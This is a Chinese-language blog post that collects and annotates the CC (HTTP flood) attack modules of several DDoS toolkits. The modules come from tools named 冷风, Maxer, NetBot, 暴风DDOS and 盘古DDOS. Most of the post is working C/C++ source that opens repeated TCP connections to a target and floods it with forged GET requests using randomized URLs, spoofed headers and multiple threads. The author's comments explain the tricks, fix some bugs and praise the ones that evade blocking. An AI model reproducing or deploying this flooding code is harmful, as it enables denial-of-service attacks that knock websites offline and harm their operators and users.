对现有的所能找到的DDOS代码(攻击模块)做出一次分析----CC篇

//=================================================================================

分析者:alalmn—飞龙 BLOG:http://hi.baidu.com/alalmn

分析的不好请各位高手见谅花了几个小时分析的呵呵

CC攻击

就是不断向 HTTP服务器 发送链接请求 达到服务器最高连接数的时候服务器自然就完蛋了

发送2个请求

GET

Post

在分析的发现很多好的地方 我都做了注释大家可以自己看代码呵呵

有些很值得我们学习

//=================================================================================

冷风的.h

/************************CC Attack***********************************/

unsigned long CALLBACK cc_flood(LPVOID dParam) //CC攻击

{

while (true)

{

char szBuffer[1024]={0}; //HTTP头

sprintf(szBuffer,"GET %s HTTP/1.1\r\n" //要访问的页面(/list.asp?id=***)

"Accept:image/gif image/x-xbitmap, image/jpeg,application/x-shockwave-flash\r\n" //接收的数据类型 全部接收则

"Referer: http://www.google.com\r\nAccept:-Language: zh-cn\r\n" //来源地址

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\n" //浏览器类型

"Cache-Control:no-cache\r\n" //响应缓存的意思 Cache-Control: no-store：这个才是响应不被缓存的意思。

"HOST:%s\n\n",DdosUrl); //攻击地址(网址) 这点应该是少写个参数吧 DdosUrl对应的是GET后面对应的页面 HOST:这个少个参数

SOCKADDR_IN sockAddr; //IP信息结构

SOCKET m_hSocket; //套接字

m_hSocket = socket(AF_INET,SOCK_STREAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~

memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化

sockAddr.sin_family = AF_INET; //sin_family 地址家族（必须是AF_INET）

sockAddr.sin_port=htons(DdosPort); //端口

sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl); //攻击IP

if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接

{

int ret=GetLastError(); //返回错误代码值

printf("connect error id %d\n",ret); //输出错误代码编号

closesocket(m_hSocket); //关闭socket

Sleep(100); //暂停(毫秒)

continue; // 结束本次循环

}

if(SOCKET_ERROR==send(m_hSocket,szBuffer,sizeof(szBuffer),0)) //发送消息

{ //看是否发送成功 //IP结构体 要发送数据的缓冲区 要发送的数据的字节数 一般置0

closesocket(m_hSocket); //关闭socket

continue; //结束次循环

}

printf("."); //攻击一次输出一个点

Sleep(200); //暂停(毫秒)

}

return 0;

}

//=================================================================================

Maxer.h

SOCKET tcpConnect(char *host, int port)

{

SOCKET sock;

sock = socket(AF_INET, SOCK_STREAM, 0);

if(sock == INVALID_SOCKET)

return sock;

sockaddr_in sin;

sin.sin_addr.s_addr = resolve(host);

sin.sin_family = AF_INET;

sin.sin_port = htons(port);

if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)

{

closesocket(sock);

return INVALID_SOCKET;

}

return sock;

}

//普通CC攻击

DWORD WINAPI CC(LPVOID dParam)

{

PDDOSINFO pddosinfo = (PDDOSINFO)dParam;

DDOSINFO ddosinfo;

memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));

CString url;

url="GET "+rsCS("/")+" HTTP/1.1\r\n"

+"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"

+"Accept-Language: zh-cn\r\n"

+"Accept-Encoding: gzip, deflate"

+"\r\nUser-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

+"\r\nHost:"+ddosinfo.addr

+"\r\nConnection: Keep-Alive"

+"\r\n\r\n";

while (1)

{

if (IsStop == 1)

{

ExitThread(0);

return 0;

}

SOCKET S=tcpConnect(ddosinfo.addr,ddosinfo.port); //创建一个套接字连接到已经存在的服务器

send(S,url,url.GetLength()+1,0); //发送消息

closesocket(S); //关闭套接字

Sleep(50); //延时

}

}

//=================================================================================

NetBot_Attacker.h

bool doHTTP(char* ServerName,DWORD port,char* ActionFile, char* Method,char* HttpHeaders, char* FormData)

{ //doHTTP("127.0.0.1",8080,"*(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html","GET","Cache-Control: no-cache\r\nReferer: http://www.baidu.com\r\n","");

HMODULE hDll;

LPVOID hSession,hConnect,hRequest;

bool bSendRequest=false;

char buf[1000];

DWORD dwFlags;

hDll = LoadLibrary("wininet.dll");

if(hDll)

{

typedef LPVOID ( WINAPI * pInternetOpen ) (LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD );

typedef LPVOID ( WINAPI * pInternetConnect ) ( LPVOID ,LPCTSTR ,WORD ,LPCTSTR ,LPCTSTR ,DWORD ,DWORD ,DWORD);

typedef LPVOID ( WINAPI * pHttpOpenRequest ) ( LPVOID ,LPCTSTR ,LPCTSTR ,LPCTSTR ,LPCTSTR ,LPCSTR FAR * ,DWORD ,DWORD);

typedef BOOL ( WINAPI * pHttpSendRequest ) (LPVOID ,LPCSTR ,DWORD ,LPVOID,DWORD) ;

typedef BOOL ( WINAPI * pInternetReadFile ) (LPVOID ,LPVOID ,DWORD ,LPDWORD) ;

typedef BOOL ( WINAPI * pInternetCloseHandle ) ( LPVOID );

pInternetOpen InternetOpen=NULL;

pInternetConnect InternetConnect=NULL;

pHttpOpenRequest HttpOpenRequest=NULL;

pHttpSendRequest HttpSendRequest=NULL;

pInternetCloseHandle InternetCloseHandle=NULL;

pInternetReadFile InternetReadFile=NULL;

InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" );

InternetConnect = (pInternetConnect ) GetProcAddress ( hDll, "InternetConnectA");

HttpOpenRequest = (pHttpOpenRequest) GetProcAddress (hDll,"HttpOpenRequestA");

HttpSendRequest = ( pHttpSendRequest ) GetProcAddress( hDll, "HttpSendRequestA" );

InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle");

InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile");

// 创建Internet

hSession = InternetOpen("Hackeroo",0, NULL, NULL, 0);

if (hSession != NULL)

{

// 连接服务器

hConnect = InternetConnect(hSession,ServerName,(WORD)port, NULL, NULL, 3, 0, 1);

if (hConnect!= NULL)

{

// 创建一个请求

LPTSTR AcceptTypes[2]={"*/*",NULL};

hRequest = HttpOpenRequest(hConnect,Method,ActionFile,"HTTP/1.1",NULL,(LPCTSTR*)AcceptTypes,0, 1);

if (hRequest!= NULL)

{

// 发送请求

bSendRequest =HttpSendRequest(hRequest,HttpHeaders,strlen(HttpHeaders),FormData,strlen(FormData));

if (bSendRequest)

{

memset(buf,0,1000);

InternetReadFile(hRequest, buf,999, &dwFlags);

printf("%s",buf);

}

}

}

// 清除句柄

if (hRequest)

InternetCloseHandle(hRequest);

if (hConnect)

InternetCloseHandle(hConnect);

if (hSession)

InternetCloseHandle(hSession);

}

FreeLibrary(hDll);

}

return bSendRequest;

}

unsigned long CALLBACK cc_attack(LPVOID dParam)

{

char all[100],ip[32],port[6],url[32],*point=NULL;

int httpport=80;

strcpy(all,fuckweb.FuckIP); //复制内存

point=all;

if(strstr(all,"http://")!=NULL) //strstr查找字符串

{//没有

point=point+strlen("http://"); //把http://添加进point

} //strlen计算字符串的长度

if(strstr(point,":")!=NULL) //strstr查找字符串 查找http后的:号的

{

memset(ip,0,sizeof(ip)); //内存空间初始化

strncpy(ip,point,strcspn(point,":")); //复制内存

point=point+strcspn(point,":")+1;

if(strstr(point,"/")!=NULL)

{

memset(port,0,sizeof(port));

strncpy(port,point,strcspn(point,"/"));

httpport=atoi(port);

point=point+strcspn(point,"/");

memset(url,0,sizeof(url));

strcpy(url,point);

}

}

else

{

if(strstr(point,"/")!=NULL)

{

memset(ip,0,sizeof(ip));

strncpy(ip,point,strcspn(point,"/"));

point=point+strcspn(point,"/");

memset(url,0,sizeof(url));

strcpy(url,point);

}

}

if (strlen(url)<2)

{

strcpy(url,"^*%%RFTGYHJIRTG*(&^%DFG.asp");//要访问的页面(/^*%%RFTGYHJIRTG*(&^%DFG.asp) 真应该调试看看url他输出的是什么内容

}

while(!stopfuck)

{

doHTTP(ip,

httpport,

url,

"GET",

"Cache-Control: no-cache\r\nReferer: http://www.baidu.com\r\n",

"");

Sleep(40);

}

return 0;

}

//=================================================================================

暴风DDOS.h

/////////////CC TCP数据 end///////////////////

SOCKET tcpConnect(char *host, int port)

{

SOCKET sock;

sock = socket(AF_INET, SOCK_STREAM, 0);

if(sock == INVALID_SOCKET)

return sock;

sockaddr_in sin;

DWORD ip = resolveIP(host);

if(ip == 0)

ip = inet_addr(host);

sin.sin_addr.s_addr = ip;

sin.sin_family = AF_INET;

sin.sin_port = htons(port);

if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)

{

closesocket(sock);

return INVALID_SOCKET;

}

return sock;

}

volatile bool rnd;

/////////////CC tcp数据///////////////////////////////////////////////////////////////

CString rsCS(CString str) //str=/

{

CString NewStr,tempstr,nstr;

CString CStr,Func;

char fu;

int LFunc;

int i,x=0;

if (rnd==false) return str; //并没有找到rnd的判断条件

srand((unsigned)time( NULL )); //产生随机数

NewStr=str; // "/"

while ((x=NewStr.Find ("+",0))!=-1) //搜索字符串 没有找到子字符串或字符则返回-1

{ //那说明是搜索到了

tempstr="";

CStr="";

nstr=NewStr.Mid (x,3); //提取字符串

Func=NewStr.Mid (x+1,1); //提取字符串

memcpy(&fu, Func, 1); //复制内存

LFunc=atoi(NewStr.Mid (x+2,1)); //将字符串转换成一个整数值

switch(fu) //fu是从str抽取其中的一个值

{

case 'N':

for(i=0;i<LFunc;i++)

{tempstr.Format ("%c",48+rand()%10); //格式化一个随机数

CStr+=tempstr;} //累加到CStr里面

break;

case 'U':

for(i=0;i<LFunc;i++)

{tempstr.Format ("%c",65+rand()%26);CStr+=tempstr;}

break;

case 'L':

for(i=0;i<LFunc;i++)

{tempstr.Format ("%c",97+rand()%26);CStr+=tempstr;}

break;

case 'C':

for(i=0;i<LFunc;i++)

{tempstr.Format ("%%%c%c%%%c%c",65+rand()%6,48+rand()%10,65+rand()%6,48+rand()%10);CStr+=tempstr;}

break;

default: //为什么只判断这几个特定的字符呢

tempstr="";

CStr="";

break;

}

NewStr.Replace (nstr,CStr); //替换字符数 替换完成在去上边循环一次

}

return NewStr;

}

char* zIP;

void cc_flood()

{

int mi;

CString buf,url,http,rhost,arg1,arg2,larg;

http = zIP; //IP地址 站点

rhost = http;

char *jj = "/";

if (http.Left(1)=="G") //奇怪传递过来的攻击IP当中怎么会存在G这个字母呢 看了几遍服务端代码也没看明白

{

//Get Mode,No Sorted Mode Get模式，无排序模式

http=http.Right (http.GetLength ()-1); //写这句话没什么意义啊

url="GET "+rsCS(jj)+" HTTP/1.1\r\n" //要访问的页面(/list.asp?id=***) rsCS(jj)处理过后返回的还是/那有什么意义呢

+"Accept: */*\r\n" //接收的数据类型 全部接收则

+"Referer:"+http //这点不错啊 来源改成他自己站点 想屏蔽都难

+"\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\n" //来源地址

+"User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1)" //浏览器类型

+"\r\nHost:"+rhost //攻击地址(网址)

+"\r\nProxy-Connection: Keep-Alive\r\nPragma: no-cache\r\n";

}

else

{

//Post Mode,No Sorted Mode Post模式，无排序模式

arg1=http.Right(http.GetLength ()-1); //去掉GP

mi=http.Find("?",0);if (http.Find("?",mi+1)>0) mi=http.Find("?",mi+1); //找到参数的位置

arg2=rsCS(arg1.Right(arg1.GetLength ()-mi)); //获得参数arg2并且做处理

arg1=rsCS(arg1.Left(mi-1)); //获得要提交的URL

larg.Format ("%d",arg2.GetLength()); //获得参数长度larg

url="GET "+rsCS(jj)+" HTTP/1.1\r\n"

+"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"

+"Accept-Language: zh-cn\r\n"

+"Accept-Encoding: gzip, deflate"

+"\r\nUser-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

+"\r\nHost:"+rhost

+"\r\nConnection: Keep-Alive"

+"\r\n\r\n";

}

while (1)

{

if (StopFlag == 1)

{

ExitThread(0);

return;

}

SOCKET S=tcpConnect(tgtIP,tgtPort); //创建一个套接字连接到已经存在的服务器

for(int i=0;i<10000;i++) //发送1W次 休息一定时间在 进行发送那位什么要 关闭套接字 呢

{

send(S,url,url.GetLength() ,0); //发送消息

closesocket(S); //关闭套接字

}

Sleep(SleepTime); //延时

}

}

void StartCC(char ip[30],int port,int time,int xc)

{

zIP=ip;

if (inet_addr(ip)== INADDR_NONE)

{

struct hostent *hp = NULL;

if ((hp = gethostbyname(ip)) != NULL)

{

in_addr in;

memcpy(&in, hp->h_addr, hp->h_length);

strcpy(tgtIP,inet_ntoa(in));

}

}

else

strcpy(tgtIP,ip);

tgtPort=port;

timeout=time;

StopFlag = -1;

for(i=0;i<xc;i++)

{

h=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)cc_flood, NULL, 0, NULL);

}

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);

}

//

暴风DDOSVIP2010-225.h

CC攻击代码被删除了 不知道是人家给我代码的问题还是 本来发布的时候就删除掉了

//

盘古DDOS优化版.h

///CC

void ccflood() //变异CC

{

CString url,jj="/";

url="GET "+rsCS(jj)+" HTTP/1.1" //访问页面

+"\r\nHost: "+zip //攻击网站

+"\r\n\r\n";

WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据

WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本

SOCKADDR_IN sockAddr; //IP信息结构

SOCKET m_hSocket; //套接字

memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化

sockAddr.sin_family = AF_INET; //sin_family 地址家族（必须是AF_INET）

sockAddr.sin_port=htons(tgtport); //存储端口号（使用网络字节顺序）

sockAddr.sin_addr.s_addr = inet_addr(tgtip); //inet_addr将ip地址转换成网络地址

if ((sockAddr.sin_addr.s_addr = inet_addr(tgtip)) == INADDR_NONE)

{//inet_addr将ip地址转换成网络地址 IP地址不正确返回INADDR_NONE

struct hostent *hp = NULL;

if ((hp = gethostbyname(tgtip)) != NULL)

{

memcpy(&(sockAddr.sin_addr), hp->h_addr, hp->h_length);

sockAddr.sin_family = hp->h_addrtype;

}

else

return;

}

for(;;)

{

if (Stop == 1)

{

ExitThread(1);

return;

}

m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket

if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接

continue; //结束本次循环

for(int a=0;a<1024;a++)

{

if (send(m_hSocket,url,url.GetLength(),0) ==SOCKET_ERROR) //发送消息 看是否发送成功

break; //关闭循环

}

Sleep(20); //暂停(毫秒)

//这好像少了一句关闭套接字

}

return;

}

//=========================================================

我群里人发布的一段.h

int SEU_RandEx(int min, int max)

{

if(min == max)

return min;

srand(GetTickCount());

int seed=rand()+3;

return seed % (max - min + 1) + min;

}

DWORD WINAPI CC1(LPVOID dParam)

{

char zz[MAX_PATH];

PDDOSINFO pddosinfo = (PDDOSINFO)dParam; //可以看出还是Maxer 攻击的那个结构体呵呵

DDOSINFO ddosinfo;

memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));

wsprintf(zz,"%s/%c%c%c.txt",ddosinfo.addr,SEU_RandEx('a','z'),SEU_RandEx('b','y'),SEU_RandEx('c','y'));

//你这样输出出来的类似 http://hi.baidu.com/alalmn%s/%c%c%c.txt 难道你不知道静态页面很难被D夸吗

//自己看下这个 文章吧 http://hi.baidu.com/alalmn/blog/ ... c58a4f43a9ad77.html

// wsprintf(zz,"ddosinfo.addr%c%c%c.%c%c%%c.com/",SEU_RandEx('a','z'),SEU_RandEx('b','y'),SEU_RandEx('c','y'),SEU_RandEx('d','z'),SEU_RandEx('e','y'),SEU_RandEx('b','y'));

// CString url;

CString url;

CString zzs;

zzs.Format("%s",zz); //这个地方不对了 我看人家的都是写的访问页面 应该是这样的 //要访问的页面(/list.asp?id=***) 而没有写http://123131 这样的信息呢

//不知道是你这样写可行吗

// wsprintf(url,"GET %s HTTP/1.1\r\n",zz);

// wsprintf(url,"GET %s HTTP/1.1\r\n",zz);

url="GET "+zzs+" HTTP/1.1\r\n"

+"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"

+"Accept-Language: zh-cn\r\n"

+"Accept-Encoding: gzip, deflate"

+"\r\nUser-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

+"\r\nHost:"+ddosinfo.addr

+"\r\nConnection: Keep-Alive"

+"\r\n\r\n";

while (1)

{

SOCKET S=tcpConnect(ddosinfo.addr,ddosinfo.port); //创建一个套接字连接到已经存在的服务器

if (IsStop == 1) //判断攻击状态

{

closesocket(S);

ExitThread(0);

return 0;

}

send(S,url,url.GetLength()+1,0); //发送消息

Sleep(50); //延时

}

}

//=======================================================